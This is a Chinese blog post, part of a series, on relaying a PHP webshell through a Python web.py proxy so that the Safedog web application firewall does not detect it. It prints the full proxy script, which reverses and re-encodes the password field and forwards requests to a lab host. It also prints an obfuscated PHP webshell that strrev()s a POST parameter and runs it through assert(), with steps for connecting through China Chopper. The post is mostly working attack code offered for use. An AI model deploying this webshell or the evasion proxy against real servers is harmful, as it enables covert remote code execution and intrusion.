前言

在实践中转webshell绕过安全狗(一)中,在服务端和客户端均为php。某大佬提示并分享资源后,打算使用python完成中转。部分代码无耻copy。

客户端

本地127.0.0.1,安装python2
phpshellproxy.py

#coding=utf-8

import sys
reload(sys)
sys.setdefaultencoding('utf-8') import web urls = (
'/','index',
'/reverse','reverse',
) #render = web.template.render('templates/')
import json
import urllib class index:
def GET(self):
return 1
class Base:
def getpostdata(self, postdata):
#content with &
postdatalist = postdata.split('&')
for pa in postdatalist:
#content with =, can't split with =
index = pa.find("=")
setattr(self,pa[:index],urllib.unquote_plus(pa[index+1:]))
import requests
import codecs, urllib , base64 #, chardet
class reverse(Base, object):
def GET(self,corpid):
return 1
def POST(self):
data = web.data()
#print data
pwdata = data.split('&')[0].split('=')[1]
#print pwdata
#print 'pwdata', pwdata
#print 'pwdata[::-1]', urllib.unquote(urllib.unquote(pwdata.replace('+',' '))[::-1]).replace('&','%26').replace('+','%2b')
newpostdata = data.replace(pwdata, urllib.unquote(urllib.unquote(pwdata.replace('+',' '))[::-1]).replace('&','%26').replace('+','%2b'))
#print 'newpostdata', newpostdata
r = requests.post("http://192.168.253.129/waf/transServ.php", data=""+newpostdata.replace(' ','+'), headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"})#, proxies={'http':"http://127.0.0.1:8080"})
#print r.apparent_encoding
#r.encoding = 'gb2312'
#print chardet.detect(r.content)
#print r.text
#return r.text
return r.content
if __name__ == "__main__":
app = web.application(urls, globals())
app.run()

  运行需要安装

pip install web
pip install requests

  服务端

shell端192.168.253.129,安装安全狗
reverse.php
做了点混淆,可过安全狗

<?php
$DS = $_POST['x'];
$str = strrev($DS);
$a1 = array("1234","123456");
$a2 = array($str,"5461");
$ma = array_map(null,$a1,$a2)[0][1];
@assert($ma);

 

使用方法

  1. 替换phpshellproxy.py中的shell地址,需配合reverse.php使用

  2. 运行python phpshellproxy.py 9000 (端口自定义)

  3. 使用菜单连接对应shell地址,如 http://[ip]:9000/reverse ,输入对应密码,配置对应脚本类型,如果打开错误,建议清掉缓存,重新打开。

操作

本地运行phpshellproxy.py文件

 

中国菜刀进行连接http://127.0.0.1:9000/reverse  密码

想了解更多 欢迎关注

最新文章

  1. DP专题训练之HDU 1087 Super Jumping!
  2. play framework (一)
  3. Upgrading to EF6
  4. vs2012 aspx 没有设计视图了?
  5. 利用抽象、多态实现无反射的绿色环保ORM框架
  6. 拼接xml时出现内存溢出解决办法
  7. gradle测试与线上打包
  8. [转]Android下打印调试堆栈方法
  9. Android视频直播:流媒体服务器搭建
  10. 4.2 js没有块级作用域
  11. 聊聊Servlet、Struts1、Struts2以及SpringMvc中的线程安全
  12. python地理数据处理库geopy
  13. js属性对象的hasOwnProperty方法
  14. DS-1
  15. log 的 debug()、 error()、 info()方法
  16. python头部 #!/usr/bin/env python
  17. Docker容器学习梳理 - SSH方式登陆容器
  18. asp.net webform 不显示__doPostBack的原因及某种解决方法
  19. angularjs指令实现轮播图----swiper
  20. 10. js截取最后一个斜杠后面的字符串

热门文章

  1. Like关系查询
  2. 【cocos2d-js官方文档】五、Cocos2d-JS v3.0的新Action API
  3. IOC DI SL的一些理论
  4. python3获取天气预报
  5. 运行时动态伪造vsprintf的va_list
  6. sql 多列求和
  7. jquery 隐私迭代
  8. WPF RichTextBox 导出与加载
  9. nprogress.js 头部进度条使用方法
  10. 深入理解Amazon Alexa Skill(三)